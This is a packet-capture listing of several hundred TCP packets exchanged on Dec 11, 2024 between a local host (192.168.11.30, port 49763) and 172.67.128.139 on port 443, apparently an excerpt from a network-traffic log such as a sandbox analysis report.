Dec 11, 2024 12:30:41.330987930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.330992937 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.332798004 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.332813025 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.332954884 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.332967043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.333147049 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.333342075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.334758043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.334774017 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.334922075 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.335100889 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.335109949 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.335293055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.336560965 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.336579084 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.336724997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.336735010 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.336918116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.336918116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.336918116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.336918116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.338444948 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.338510990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.338604927 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.338785887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.338794947 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.339025021 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.564388990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.564420938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.564737082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.564737082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.564737082 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.564769030 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.564924002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.564924002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.566196918 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.566257000 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.566554070 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.566577911 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.566935062 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.568090916 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.568129063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.568258047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.568438053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.568464994 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.568631887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.568631887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.570027113 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.570065022 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.570194006 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.570379019 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.570379972 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.570379972 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.570379972 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.570414066 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.570571899 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.572129011 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.572170973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.572510004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.572510004 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.572535038 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.572894096 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.574424028 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.574460030 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.574878931 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.574878931 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.574904919 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.575063944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.575063944 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.575242043 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.575422049 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.575527906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.575777054 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.575798035 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.576145887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.577313900 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.577354908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.577685118 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.577686071 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.577712059 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.577924013 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.579498053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.579540968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.579837084 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.579838037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.579838037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.579873085 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.580022097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.580212116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.581377029 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.581458092 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.581723928 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.581724882 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.581768990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.583508968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.583548069 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.583674908 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.583693027 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.583870888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.583870888 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.585454941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.585494041 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.585818052 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.585838079 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.586008072 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.587439060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.587479115 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.587764978 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.587764978 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.587801933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.589195967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.589234114 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.589431047 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.589443922 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.589626074 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.589626074 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.589891911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.813060045 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.813097954 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.813224077 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.813405037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.813430071 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.813779116 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.814991951 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.815028906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.815165997 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.815349102 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.815350056 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.815376043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.815562963 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.816885948 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.816924095 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.817106962 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.817132950 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.817291021 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.817291021 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.818857908 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.818897963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.819026947 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.819205999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.819205999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.819205999 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.819236040 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.819397926 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.820971966 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.821007967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.821352005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.821352005 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.821386099 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.821640968 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.823085070 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.823127985 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.823481083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.823481083 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.823514938 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.823857069 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.824974060 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.825016975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.825145960 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.825326920 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.825355053 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.825566053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.826942921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.826984882 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.827145100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.827323914 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.827353001 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.827558994 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.828876972 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.828913927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.829272032 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.829303980 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.829607010 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.831265926 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.831362009 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.831650972 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.831679106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.831996918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.832276106 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.832457066 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.832499027 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.832530975 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.832681894 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.832681894 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.834126949 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.834168911 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.834301949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.834501982 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.834537983 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.834785938 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.836978912 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.837014914 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.837328911 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.837361097 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.837713003 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.838916063 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.838953018 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.839288950 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.839288950 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.839315891 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.839713097 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.840908051 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.840944052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.841123104 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.841495037 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.841528893 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.841766119 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.842370033 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.842408895 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.842540026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.842540026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.842726946 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.842727900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.842727900 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.842758894 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.842912912 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.843259096 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:41.843513012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:41.843513012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.054702044 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.054707050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.054748058 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.054863930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.054863930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.054863930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.054872990 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.055058002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.055058002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.055058002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.055058002 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.055133104 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.057265043 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.057282925 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.057617903 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.057626963 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.057811022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.059544086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.059556961 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.059860945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.059860945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.059860945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.059860945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.059860945 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.059870958 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.061475992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.061506033 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.061842918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.061842918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.061842918 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.061853886 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.063462019 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.063474894 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.063811064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.063811064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.063811064 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.063818932 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.065372944 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.065387964 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.065532923 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.065541029 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.065727949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.065727949 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.065918922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.065918922 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.067497015 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.067508936 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.067841053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.067841053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.067841053 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.067848921 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.069735050 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.069749117 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.070090055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.070090055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.070090055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.070090055 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.070097923 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.071587086 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.071615934 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.071758032 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.071785927 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.071836948 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.071954012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.071954012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.071954012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.072144985 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.072149992 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.072340012 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.072546959 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.072714090 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.072791100 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.075280905 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.075319052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.075624943 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.075630903 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.075911045 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082051039 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.082077980 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.082285881 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082294941 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.082436085 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082447052 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.082458973 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.082636118 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.082643986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082643986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082643986 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082653046 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.082953930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082953930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082953930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.082953930 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.083528042 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.083544016 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.083935022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.083935022 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.083944082 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.085438967 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.085474968 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.085623026 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.085630894 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.085850000 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.085850954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.085850954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.085850954 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.087590933 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.087604046 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.087845087 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.087845087 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.087855101 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.088013887 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.089732885 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.089747906 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.090085030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.090085030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.090085030 CET	49763	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:30:42.090094090 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.090953112 CET	443	49763	172.67.128.139	192.168.11.30
Dec 11, 2024 12:30:42.091038942 CET	443	49763	172.67.128.139	192.168.11.30
